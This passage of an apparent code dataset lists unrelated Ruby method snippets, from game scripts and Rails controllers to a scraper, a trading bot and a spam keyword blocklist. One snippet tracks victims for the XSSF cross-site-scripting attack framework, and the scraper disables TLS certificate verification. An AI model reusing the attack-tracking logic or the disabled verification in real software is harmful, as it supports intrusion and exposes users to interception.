Array.new\n\t\t\tarrayResult.push(array[2].content.strip)\n\t\t\tarrayResult.push(array[5].content.strip)\n\t\t\tarrayResult.push(array[8].content.strip)\n\t\t\tarrayResult.push(array[11].content.strip)\n\t\t\tarrayResult.push(array[14].content.strip)\n\t\t\trender :json => arrayResult\n\t\tend\n\tend",
"def load_notetags_craft_result_bubs_tocrafting(line)\n line =~ Bubs::Regexp::CRAFT_RESULT_OBJ_TAG\n \n case $1.upcase\n when \"COMMON_EVENT\", \"CEV\", \"EVENTO_COMUNE\", \"EVC\" # common event\n @tocrafting_cev = $2.to_i\n \n when \"AMOUNT\", \"AMT\", \"QUANTITÀ\" # amount\n @tocrafting_amount = $2.to_i\n\n end\n end",
"def eligibility\n #Action handles GET Plan/all queries from Eligibleapi.com\n # if @eligiblity[\"error\"] then @message = \"Sorry, there was an error with the information you entered\" end\n # \n # logger.debug \"message: #{@message}\"\n end",
"def get_want_blocks\n return if (@want_blocks.length >= MIN_REQUESTS) || @peer_virgin || @peer_choking || !@interested\n\n rej_count = 0\n acc_count = 0\n @controller.claim_blocks do |b|\n break if @want_blocks.length >= MAX_REQUESTS\n if @peer_pieces[b.pindex] && !@want_blocks.member?(b)\n rt_debug \"! #{self}: starting new piece #{@package.pieces[b.pindex]}\" unless @package.pieces[b.pindex].started?\n\n# rt_debug \"#{self}: added to queue block #{b}\"\n# puts \"#{self}: claimed block #{b}\"\n @want_blocks.push b\n acc_count += 1\n true\n else\n# puts \"#{self}: cont offers block #{b} but peer has? #{@peer_pieces[b.pindex]} i already want? #{@want_blocks.member? b}\" if rej_count < 10\n rej_count += 1\n false\n end\n end\n # puts \"#{self}: ... and #{rej_count} more (peer has #{@peer_pieces.inject(0) { |s, p| s + (p ? 1 : 0) }} pieces)... \" if rej_count >= 10\n# puts \"#{self}: accepted #{acc_count} blocks, rejected #{rej_count} blocks\"\n end",
"def attacked_victims\n\t\t\t\tbegin\n\t\t\t\t\tvictims = Hash.new(\"victims\")\n\n\t\t\t\t\tfind_all(XSSF_WAITING_ATTACKS_DB, XSSF_WAITING_ATTACKS_HASH).each do |wa|\n\t\t\t\t\t\tvictims.has_key?([XSSF_WAITING_ATTACKS_HASH[\"VICTIM_ID\"]]) ? (victims[[XSSF_WAITING_ATTACKS_HASH[\"VICTIM_ID\"]]] = victims[[XSSF_WAITING_ATTACKS_HASH[\"VICTIM_ID\"]]] + 1) : (victims[[XSSF_WAITING_ATTACKS_HASH[\"VICTIM_ID\"]]] = 1)\n\t\t\t\t\tend\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 18: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (not victims.empty?)\n\t\t\t\t\tstr = \"Remaining victims to attack: \"\n\t\t\t\t\tvictims.each_pair {|key, value| str << \"[#{key} (#{value})] \" }\n\t\t\t\t\tprint_good(str) if not (XSSF_MODE[0] =~ /^Quiet$/i)\n\t\t\t\telse\n\t\t\t\t\tprint_good(\"Remaining victims to attack: NONE\") if not (XSSF_MODE[0] =~ /^Quiet$/i)\n\t\t\t\tend\n\t\t\tend",
"def interests\n\t\t\"rwe\"\n\tend",
"def scrape_blocks\n created_at = Time.now\n date = Time.now\n puts \"Scrape for #{date.to_date} at #{date}\"\n\n begin\n base_url = 'https://unicode-table.com'\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n blocks_page = Nokogiri::HTML(agent.get(\"#{base_url}/en/blocks/\").content)\n\n nav = blocks_page.css(\".navigation\")\n block_links = nav.css(\"a\")\n\n blocks = {}\n\n # https://unicode-table.com/en/blocks/georgian/\n block_links.each_with_index {|link, i|\n\n # next if !(i == 1 || i == 32 || i == 28)\n\n block_url = link.attr(\"href\")\n\n block_page = Nokogiri::HTML(agent.get(\"#{base_url}#{block_url}\").content)\n name = block_url.gsub(\"/en/blocks/\",\"\").gsub(\"/\",\"\")\n\n puts name\n\n range = block_page.css(\"h1 .range\").text().split(\"—\").map!(&:strip)\n group_el = block_page.css(\".group-info\")\n count = group_el.css(\"#symb-count\").text()\n type = group_el.css(\"#block-type\").text()\n languages = group_el.css(\"li:nth-child(3) span\").text().split(\",\").map!(&:strip)\n countries = group_el.css(\"li:nth-child(4) span\").text().split(\",\").map!(&:strip)\n character_table_el = block_page.css(\".unicode .unicode_table\")\n character_els = character_table_el.css(\"li.symb:not(.inactive)\")\n characters = []\n character_els.each{|character_el|\n character = {}\n character_a_el = character_el.css(\"a\")\n character[:letter] = character_a_el.text()\n character[:url] = character_a_el.attr(\"href\").text()\n character[:title] = character_el.attr(\"title\")\n code = character[:url].gsub('/en/', '').gsub('/', '')\n character[:code] = \"U+#{code}\"\n character[:html_code] = \"&##{code.to_i(16)};\"\n characters << character\n }\n\n blocks[name.to_sym] = {\n url: block_url,\n name: link.text,\n range: range,\n count: count,\n type: type,\n languages: languages,\n countries: countries,\n characters: characters\n }\n }\n\n\n\n # puts blocks.inspect\n File.write(\"unicode_blocks.json\", JSON.pretty_generate(blocks))\n File.write(\"unicode_blocks.min.json\", blocks.to_json)\n\n rescue Exception => e\n puts \"#{e} - exception occured\"\n end\n # end\n\nend",
"def confirm_pur_number_warning_hops()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n wait_for_landing_page_load\n invalid_number_error_hops.should_exist\n invalid_gc_msg = invalid_number_error_hops.inner_text\n invalid_gc_msg.should match(\"We're sorry but the loyalty card number you provided is not valid\")\n end",
"def raw_critical_risks\n\t\t\t\t\twhere(:severity => 4)\n\t\t\t\tend",
"def did_block?(item, is_crit = false,user)\r\r\n return false unless item.for_opponent?\r\r\n return false if @base_attack_roll == 20\r\r\n return false if item.magical?\r\r\n \r\r\n @base_attack_roll += user.attack_roll(item).to_i\r\r\n \r\r\n rate = 0\r\r\n result = false\r\r\n real_ac = self.armor_class\r\r\n \r\r\n @states.each do |state|\r\r\n real_ac += $data_states[state].armor_class\r\r\n end\r\r\n \r\r\n \r\r\n if actor?\r\r\n for equip in equips\r\r\n next if equip.nil?\r\r\n next if is_crit && !equip.does_block_crit\r\r\n next if !does_block?(equip, item)\r\r\n break if result == true\r\r\n \r\r\n result = true if (real_ac + adjusted_block_rate(equip, item)) > @base_attack_roll\r\r\n end\r\r\n end\r\r\n \r\r\n if !result\r\r\n real_ac = self.armor_class + calc_block_rate(item)\r\r\n end\r\r\n \r\r\n #puts \"THAC0:#{@real_thac0} AC:#{real_ac}\"\r\r\n result = @base_attack_roll + @real_thac0 < real_ac\r\r\n \r\r\n if real_ac > 0 && ($game_system.show_roll_result? || $force_show_roll_result)\r\r\n $game_message.battle_log_add(sprintf(\"** Block Result: **\"))\r\r\n $game_message.battle_log_add(sprintf(\"** %s's %20s\",self.name , \"AC:\" + real_ac.to_s))\r\r\n $game_message.battle_log_add(sprintf(\"** %s's %20s\",user.name , \"Attack Roll(adjusted):\" + (@base_attack_roll + @real_thac0).to_s))\r\r\n end\r\r\n \r\r\n return result\r\r\n end",
"def give_feedback\n print 'Matches: '\n puts 'Black ' * @secret.exact_matches(last_guess) + \\\n 'White ' * @secret.near_matches(last_guess)\n end",
"def online_special_ballot\n end",
"def availability_summary #This should be changed to availability_summary_count\n unavailable = 0\n available = 0\n awaiting = 0\n\n self.cached_teamsheet_entries.each do |tse|\n if tse.response_status == 0\n unavailable += 1\n elsif tse.response_status == 1\n available += 1\n elsif tse.response_status == 2\n awaiting += 1\n end\n end\n\n { unavailable: unavailable, available: available, awaiting: awaiting }\n end",
"def querytest_failing_common\n wait_for_hitcount(\"query=test&streaming.selection=true\", 28, 10)\n end",
"def report\n (@state.first || NO_ROBOT_PLACED).to_s\n end",
"def view_missing_fields\n\n # Update these to the proper values that you are interesting in\n student_id = 1321\n module_item_id = 3772\n course_id = 27\n module_name = 'Network Like a Pro'\n\n tag = ContentTag.where(:id => module_item_id, :context_id => course_id, :context_type => 'Course', :content_type => 'WikiPage').first\n page = WikiPage.find(tag.content_id)\n course = Course.find(course_id)\n get_the_page_id = page.id\n participation_assignment = course.assignments.active.where(:title => \"Course Participation - #{module_name}\").first\n\n puts \"### VIEWIING MISSING FIELDS IN COURSE PARTICIPATION GRADES FOR: https://portal.bebraven.org/courses/#{course_id}/pages/#{page.url}?module_item_id=#{module_item_id}\"\n\n\n user = User.find(student_id)\n puts \"### username = #{user.name}, userid = #{user.id},\"\n se = course.student_enrollments.active.where(:user_id => student_id).first\n names = {}\n missing_names = {}\n count = 0\n filled_count = 0\n selector = 'input[data-bz-retained]:not(.bz-optional-magic-field),textarea[data-bz-retained]:not(.bz-optional-magic-field)'\n page_html = page.body\n doc = Nokogiri::HTML(page_html)\n doc.css(selector).each do |o|\n n = o.attr('data-bz-retained')\n next if names[n]\n next if o.attr('type') == 'checkbox'\n names[n] = true\n count += 1\n found = RetainedData.where(:user_id => student_id, :name => n) \n filled_count += 1 if found.any?\n missing_names[n] = true if !found.any?\n end\n\n puts \"### names = #{names.inspect}, missing_names = #{missing_names.inspect}\"\n\nend",
"def my_peer_results(user)\n results = []\n (self.my_roles(user) - self.my_assigned_roles(user)).each do |role|\n results << self.design_review_results.detect { |drr| drr.role == role }\n end\n results\n end",
"def get_message # 優惠訊息\n\t\tif self.range == 'all'\n msg1 = '全館'\n elsif self.range == 'price'\n msg1 = '全館滿' + self.range_price.to_s + '元'\n elsif self.range == 'product'\n if self.range_quantity == 1\n msg1 = '本商品每件'\n else\n msg1 = '本商品' + self.range_quantity.to_s + '件'\n end\n end\n\n if self.offer == 'freight'\n if self.offer_freight == 'all'\n msg2 = '免運費'\n elsif self.offer_freight == 'CVS'\n msg2 = '超商取貨免運費'\n elsif self.offer_freight == 'Home'\n msg2 = '宅配免運費'\n end\n elsif self.offer == 'price'\n msg2 = '折' + self.offer_price.to_s + '元'\n elsif self.offer == 'discount'\n msg2 = '打' + self.offer_discount.to_s + '折'\n end\n\n msg1 + msg2\n\tend",
"def not_delivered\n PeriodDocument.scanned.where(\"scanned_at >= ?\", 30.days.ago).select do |scan|\n result = false\n\n temp_pack = TempPack.where(name: scan.name).first\n\n if temp_pack\n # NOTE minus 10 days because PPP delivers a few days before entering the information inside iDocus\n result = temp_pack.temp_documents.scan.where(\"created_at >= ?\", scan.scanned_at-10.days).empty?\n else\n result = true\n end\n\n print (result ? '!' : '.')\n\n result\n end.map(&:name)\n end",
"def ygg_attacker() ; return nil ; end",
"def mmc_voteinfo\n\n # gets memorycoin blockchain info\n mmc_blockinfo\n\n # gets the last vote block number\n tlock = @blckhigh.to_f / 20.0\n block = @blckhigh.to_i - ((tlock - tlock.round) * 20.0).round\n if (block > @blckhigh.to_i)\n block -= 20\n end\n\n # parse voting info\n begin\n t = Timeout.timeout(5) do\n @votes = JSON.parse(open(\"http://www.mmcvotes.com/block/#{block}?output=json\").read)\n end\n rescue Timeout::Error\n @votes = nil\n end\nend",
"def virus_effects\n display_report\n end",
"def found_blocks\n shares.where(:upstream_result => \"Y\").count + blocks.count\n end",
"def boiler_status; end",
"def formulate_diagnose_reply(results, username)\n if @value > @threshold\n customised_diagnose = []\n DR_DIAGNOSE_RESULTS['data'].each do |diagnose|\n diagnose = diagnose.gsub('*', username)\n diagnose = diagnose.gsub('@', results['likely_condition'])\n diagnose = diagnose.gsub('%', results['condition_data']['treatment'].sample)\n diagnose = diagnose.gsub('~', results['condition_data']['worse_conditions'].sample)\n diagnose = diagnose.gsub('#', results['condition_data']['possible_conditions'].sample)\n customised_diagnose << diagnose\n end\n return customised_diagnose\n else\n customised_diagnose = []\n DR_DIAGNOSE['data'].each do |diagnose|\n diagnose = diagnose.gsub('*', username)\n diagnose = diagnose.gsub('@', results['likely_condition'])\n customised_diagnose << diagnose\n end\n end\n end",
"def resuspend_pellet(item)\n tube_label = sample_tube_label(item)\n resuspension_qty = @plan_params[:library_resuspension_qty]\n\n show do\n title \"Resuspend #{tube_label}\"\n\n note \"Take a clean #{SAMPLE_TUBE} and label it as \\\"#{tube_label}.\\\"\"\n note \"Remove the cap from the #{SAMPLE_TUBE} and place the tube in the ice bucket.\"\n\n note \"Take the #{MICROFUGE_TUBE} labeled #{tube_label} from the ice bucket.\"\n\n if resuspension_qty[:units] == MILLILITERS && resuspension_qty[:qty] > 1.0\n remainder = resuspension_qty.dup\n remainder[:qty] -= 1.0\n\n note \"Pipet 1.0 #{MILLILITERS} #{RESUSPENSION_BUFFER} into the tube.\"\n note \"Gently pipet the #{RESUSPENSION_BUFFER} up and down until \" \\\n \"the pellet is fully resuspended.\"\n note \"Pipet the resuspended yeast from the #{MICROFUGE_TUBE} to the #{SAMPLE_TUBE}.\"\n note \"Pipet an additional #{qty_display(remainder)} \" \\\n \"#{RESUSPENSION_BUFFER} into the #{SAMPLE_TUBE}.\"\n else\n note \"Pipet #{qty_display(resuspension_qty)} #{RESUSPENSION_BUFFER} into the tube.\"\n note \"Gently pipet the #{RESUSPENSION_BUFFER} up and down until \" \\\n \"the pellet is fully resuspended.\"\n note \"Pipet the resuspended yeast from the #{MICROFUGE_TUBE} to the #{SAMPLE_TUBE}.\"\n end\n\n end\n\n mark_as_resuspended(item)\n end",
"def native_hit\n 95\n end",
"def FetchWin(aim)\r\n\r\n\tbuffer = open(aim, \"UserAgent\" => \"Ruby-Wget\").read\r\n\tmatch_result = JSON.parse(buffer)\r\n\tmatch_result = match_result[\"result\"]\r\n\t$radiant_win = match_result[\"radiant_win\"]\r\n\t$lobby_type = match_result[\"lobby_type\"]\r\n\r\n#Excluding cases where the match isn't returning true or false if API \r\n#is being weird because that will fuck up everything - Also only want\r\n#lobby_type of 0 or 5\r\n\tif [0, 2, 5].include?($lobby_type)\r\n\t\tcase $radiant_win\r\n\t\t\twhen true, false \r\n\t\t\t\treturn $radiant_win\r\n\t\telse\r\n\t\t\t\treturn \"No data\"\r\n\t\tend\r\n\tend\r\nend",
"def mechanic_quest; end",
"def ValidateCandidate()\n if ($driver.find_element(:tag_name => \"body\").text.include?(\"No result has been found\")) == true\n raise VerificationException.new(COLOR_RED + \"Text not matching. Check screenshot under features->Screenshots->#{ENV['CHANNEL']})\\n\")\n else\n puts \"match found\"\n end\nend",
"def group_as_text(group,document,items)\n output = ''\n reading = ''\n bwith = ''\n if document['abbound_with_json']\n bwith = t('blacklight.catalog.abbound_with')\n end\n multi_vol = document['multivol_b']\n on_site_count = 0\n reserve_item = false\n noncirc = false\n aeon_codes = []\n not_spif = 0 \n spif = 0 \n pda = 'no'\n if group == \"Rare\"\n reading = ' for Reading Room Delivery'\n noncirc = true \n end\n items.each do |i|\n if group == \"Rare\"\n aeon_codes << i['location']['code'] unless aeon_codes.include?(i['location']['code'])\n end\n if !i[\"circ\"].present?\n noncirc = true\n end\n reserve_item = (i['location']['code'].include?(',res') || i['location']['code'].include?('oclc,afrp') || i['location']['name'].include?('Reserve'))\n if i[\"location\"][\"name\"] !~ /Spacecraft Planetary Imaging Facility/\n not_spif += 1 \n end\n if i[\"location\"][\"name\"] =~ /Non-Circulating/\n noncirc = true \n end\n if i[\"location\"][\"name\"] =~ /Spacecraft Planetary Imaging Facility/\n noncirc = true \n spif += 1 \n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] == ' Available for the Library to Purchase'\n pda = 'yes'\n end\n if pda == 'yes'\n output += \"\\n\" + i[\"call\"]\n elsif i[\"location\"][\"name\"] != 'Library Technical Services Review Shelves' && !document['url_pda_display'].present?\n output += \"\\n\" + i[\"location\"][\"name\"]\n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] == ' Available for the Library to Purchase'\n pda = 'yes'\n end\n if !i[\"call\"].blank? && !i[\"call\"].include?('No call number') && i[\"call\"] != ''\n if pda != 'yes'\n output += \"\\n\" + i[\"call\"]\n end\n end\n if i[\"items\"].present?\n if i['items']['tempLoc'].present?\n i['items']['tempLoc'].each do |t|\n output += \"\\n\" + t['enum'] + \"Temporarily shelved in \" + t['location']['name']\n end\n end\n end\n if i['boundWith'].present?\n bw = i['boundWith']\n bwenums = []\n bw.each do |k,v|\n @mi = v['masterBibId']\n @mt = v[\"masterTitle\"]\n bwenums << v[\"masterEnum\"]\n end\n output += \"This item is bound with another item. Requests must be made to that item: #{@mt}\"\n + bwenums.join(', ')\n end\n if i['order'].present?\n output += \"\\n\" + i['order']\n end\n if i['holdings'].present?\n libhas = i['holdings'].join(\"\\n\")\n output += \"\\n\" + \"Library has: #{libhas}\"\n end\n if i['indexes'].present?\n indexes = i['indexes'].join(\"\\n\")\n output += \"\\n\" + \"Indexes: #{indexes}\"\n end\n if i['supplements'].present?\n supplements = i['supplements'].join(\"\\n\")\n output += \"\\n\" + \"Supplements: #{supplements}\"\n end\n if i['notes'].present?\n notes = i['notes'].join(\"\\n\")\n output += \"\\n\" + \"Notes: #{notes}\"\n end\n if !i['recents'].nil? && i['recents'].size == 1\n current = i['recents'][0]\n output += \"\\n\" + \"Current Issues: #{current}\"\n elsif !i['recents'].nil? && i['recents'].size > 1\n current = i['recents'].join(\"\\n\")\n output += \"\\n\" + \"Current Issues: #{current}\"\n end\n istatus = solr_status(i,noncirc,pda)\n output += istatus unless istatus.nil?\n end\n output\n end",
"def commiseration\n missed = [ \"*** You cuddled yourself instead! ***\",\n \"*** You don't have consent for a cuddle, maybe you should ask first! ***\",\n \"*** It's not who you thought it was! You keep running past them and pretend you see another Goblin in the distance! ***\",\n \"*** You decide not to invade their personal space! ***\",\n \"*** You hugged their friend by mistake. Should've gone to SpecSavers! ***\" ]\n\n missed.sample\n end",
"def request_results\n\t\t\">0002009300\\r00\"\n\tend",
"def scan_message(message)\n out = []\n out << 'recall_hold' if message =~ /Recall/i\n out << 'recall_hold' if message =~ /hold /\n out << 'borrow_direct' if message =~ /Borrow/\n out << 'ill' if message =~ /ILL/\n out << 'in_process' if message =~ /In Process/\n # ReCAP Partners\n out << 'offsite_valet' if message =~ /scsb/\n out\n end",
"def sorry_message_displayed\n expect(no_items_found).to include(\"we're sorry we couldn't find anything to match your search\")\n end",
"def reserved_result(ip)\n {\n \"ip\" => ip,\n \"city\" => \"\",\n \"region_code\" => \"\",\n \"region_name\" => \"\",\n \"metrocode\" => \"\",\n \"zipcode\" => \"\",\n \"latitude\" => \"0\",\n \"longitude\" => \"0\",\n \"country_name\" => \"Reserved\",\n \"country_code\" => \"RD\"\n }\n end",
"def apple_news_blocked\n return @apple_news_blocked\n end",
"def check\n megamgw_health\n #megamceph_health\n overall\n end",
"def get_non_custom_lines\n message = Message.find(params[:message_id])\n\n # on landing page if custom line within distance then fetch all its non custom lines + All non custom lines created on Own custom line.\n # if not within distance then fetch only followed lines\n if params[:is_landing_page] == 'true'\n # check this message within 15 yards. if yes it means its all non custom lines are within distance\n # so fetch all non custom line messages\n # Get all non custom lines created on Own custom line.\n undercover_messages = [message]\n\n messages = Undercover::CheckNear.new(\n params[:post_code],\n params[:lng],\n params[:lat],\n current_user,\n undercover_messages\n ).perform\n\n if messages.length > 0 || message.user_id = current_user.id\n non_custom_lines = message.non_custom_lines\n\n non_custom_line_ids = non_custom_lines.map(&:id)\n non_custom_lines = Message.by_ids(non_custom_line_ids)\n .where.not('(public = false and locked = false)')\n else\n # Only get followed custom lines\n followed_messages = FollowedMessage.where(user_id: current_user)\n followed_message_ids = followed_messages.map(&:message_id)\n\n non_custom_line_messages = message.non_custom_lines\n custom_line_ids = non_custom_line_messages.map(&:id)\n\n # Get common elements from both array\n final_message_ids = followed_message_ids & custom_line_ids\n\n non_custom_lines = Message.by_ids(final_message_ids)\n .where.not('(public = false and locked = false)')\n end \n else\n non_custom_lines = message.non_custom_lines \n end\n\n render json: {\n messages: non_custom_lines.as_json(\n methods: %i[\n avatar_url image_urls video_urls like_by_user legendary_by_user user\n text_with_links post_url expire_at has_expired is_synced\n locked_by_user is_followed is_connected line_locked_by_user\n ],\n include: [\n :custom_line,:non_custom_lines\n ] \n )\n }\n end",
"def spotlight_block_internet_results=(value)\n @spotlight_block_internet_results = value\n end",
"def used_credits\n @used_credits = current_user.broadcast_messages.sms.newer.page(params[:page])\n end",
"def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end",
"def raw_high_risks\n\t\t\t\t\twhere(:severity => 3)\n\t\t\t\tend",
"def sell_bot(percent_decrease = 0.1)\n market_name = @market_name\n currency = @currency\n low_24_hr, last_price, ask_price = get_market_summary(market_name)\n sell_price = last_price - percent_decrease*last_price\n get_balance_url = get_url({ :api_type => \"account\", :action => \"currency_balance\", :currency => currency })\n balance_details = call_secret_api(get_balance_url)\n sell_price = \"%.8f\" % sell_price\n if balance_details and balance_details[\"Available\"] and balance_details[\"Available\"] > 0.0\n p [market_name, last_price, balance_details[\"Available\"], sell_price]\n sell_limit_url = get_url({ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => balance_details[\"Available\"], :rate => sell_price })\n puts \"Selling coin...\".yellow\n p [{ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => balance_details[\"Available\"], :rate => sell_price }]\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt = 1\n while cnt <= 3 and order_placed and order_placed[\"uuid\"].nil? #retry\n puts \"Retry #{cnt} : Selling coin...\".yellow\n sleep(1) # half second\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt += 1\n end\n p [order_placed, \"Sell #{balance_details[\"Available\"]} of #{market_name} at #{sell_price}\"]\n else\n puts \"Insufficient Balance\".red\n end\nend",
"def standard_message\n \"#{current_player.name}'s pending words: #{pending_result}\"\n end",
"def remind_heads\n Notification.remind_heads_evaluate\n end",
"def prapor_quest; end",
"def investigate info\n #TODO if we already have data for a user, should we look it up?\n \n #http://en.wikipedia.org/w/api.php?action=query&titles=User:Tisane&prop=info|flagged&list=blocks|globalblocks|logevents|recentchanges|tags\n \n account = find_account_history(info)\n \n #http://en.wikipedia.org/w/api.php?action=query&list=logevents&leuser=Tisane&lelimit=max <- actions taken by user\n #get_xml({:format => :xml, :action => :query, :list => :logevents, :leuser => info[4], :lelimit => :max })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=blocks&bkprop=id|user|by|timestamp|expiry|reason|range|flags&bklimit=max&bkusers=Tisane\n #get_xml({:format => :xml, :action => :query, :list => :blocks, :bkusers => info[4], :bklimit => :max, :bkprop => 'id|user|by|timestamp|expiry|reason|range|flags' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=users&ususers=Tisane&usprop=blockinfo|groups|editcount|registration|emailable\n #get_xml({:format => :xml, :action => :query, :list => :users, :ususers => info[4], :usprop => 'blockinfo|groups|editcount|registration|emailable' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rcuser=Tisane&rcprop=user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags\n #get_xml({:format => :xml, :action => :query, :list => :recentchanges, :rcuser => info[4], :rcprop => 'user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags' })\n \n #res = parse_xml(get_xml())\n db_write!(\n ['sample_id', 'account_creation', 'account_lifetime', 'total_edits', 'edits_last_second', 'edits_last_minute', 'edits_last_hour', 'edits_last_day', 'edits_last_week', 'edits_last_month', 'edits_last_year'],\n [info[0]] + account\n )\n end",
"def google_search_response(auto_metareview)\n review_text_arr = auto_metareview.review_array\n # require 'ruby-web-search'\n count = 0\n temp_array = Array.new\n review_text_arr.each{\n |rev_text|\n if(!rev_text.nil?)\n #placing the search text within quotes to search exact match for the complete text\n response = RubyWebSearch::Google.search(:query => \"\\\"\"+ rev_text +\"\\\"\") \n #if the results are greater than 0, then the text has been copied\n if(response.results.length > 0)\n count+=1\n else\n temp_array << rev_text #copying the non-plagiarised text for evaluation\n end\n end\n }\n #setting temp_array as the @review_array\n auto_metareview.review_array = temp_array\n \n if(count > 0)\n return true\n else\n return false\n end\n end",
"def therapist_quest; end",
"def confirm_cc_number_warning_hops()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n wait_for_landing_page_load\n invalid_number_error_hops.should_exist\n invalid_gc_msg = invalid_number_error_hops.inner_text\n invalid_gc_msg.should match(\"Invalid Credit Card Information\")\n end",
"def refused_users_html\n emails = email_list(refused_users.map(&:email))\n if refused_users.count == 0\n nil\n else\n \"#{emails} indicated that they were not present for the meeting.\".html_safe\n end\n end",
"def process_blocked_numbers\n # eg. 12504274006\n from = params['From']\n\n # Innocent until proven guilty\n blocked = false\n\n # Collection of digits from Twilio that are invalid.\n #\n # see the following link for exact details on these blocked digits.\n # https://www.twilio.com/help/faq/voice/why-am-i-getting-calls-from-these-strange-numbers\n known_invalids = [\"7378742833\", \"2562533\", \"8656696\", \"266696687\"]\n\n # Special int only form of our From number\n from_int = strip_to_int(from).to_s\n\n if from.present?\n if known_invalids.include? from_int\n log \"Invalid Customer From number: matches known blocked / invalid numbers - #{from} - #{from_int}\"\n blocked = true\n end\n\n elsif from.length < 7\n log \"Invalid Customer From number: strangely short number - #{from}\"\n blocked = true\n\n else\n log \"Invalid Customer From number: not present - #{from || 'nil'}\"\n blocked = true\n end\n\n # If anything got triggered,\n # we will redirect to the blocked response.\n if blocked\n #redirect_to invalid_number_path(device: params[:action])\n device = params[:action].to_sym\n\n xml = Twilio::TwiML::Response.new do |b|\n case device\n when :sms\n b.Say \"Sorry, in order to use our services you must be calling from a non-blocked or public number.\"\n when :voice\n b.Message \"Sorry, in order to use our services you must be texting from a non-blocked or public number.\"\n end\n end.text\n\n render xml: xml\n end\n\n end",
"def reason; end",
"def reason; end",
"def load_notetags_specdef\r\r\n @unblockable = false\r\r\n @block_adjust = 0 \r\r\n @thac0 = 0\r\r\n @armor_class = 0\r\r\n @is_normal_attack = false\r\r\n notetagged_items = false\r\r\n \r\r\n self.note.split(/[\\r\\n]+/).each { |line|\r\r\n case line\r\r\n when MOTO::REGEXP::BASEITEM::UNBLOCKABLE\r\r\n @unblockable = true\r\r\n when MOTO::REGEXP::BASEITEM::BLOCK_ADJUST_SET\r\r\n $data_notetagged_items.push(self)\r\r\n @block_adjust_set = $1.to_i\r\r\n p sprintf(\"[Attack Block]:%s's normal block attack: %d\",self.name,self.block_adjust_set)\r\r\n when MOTO::REGEXP::BASEITEM::IS_NORMAL_ATTACK\r\r\n @is_normal_attack = true\r\r\n when MOTO::REGEXP::BASEITEM::IS_MISSILE\r\r\n @is_missile = true\r\r\n p sprintf(\"[Attack Block]:%s is missile attack\",self.name)\r\r\n when MOTO::REGEXP::BASEITEM::MISSILE_BLOCK_RATE\r\r\n $data_notetagged_items.push(self)\r\r\n @missile_block_rate = $1.to_i\r\r\n p sprintf(\"[Attack Block]:%s missile block rate: %d\",self.name,self.missile_block_rate)\r\r\n when MOTO::REGEXP::BASEITEM::THAC0\r\r\n $data_notetagged_items.push(self)\r\r\n @thac0 = $1.to_i\r\r\n p sprintf(\"[Attack Block]:%s THAC adjust: %d\",self.name,self.thac0)\r\r\n when MOTO::REGEXP::BASEITEM::ARMOR_CLASS\r\r\n $data_notetagged_items.push(self)\r\r\n @armor_class = $1.to_i\r\r\n p sprintf(\"[Attack Block]:%s AC adjust: %d\",self.name,self.armor_class)\r\r\n \r\r\n end\r\r\n 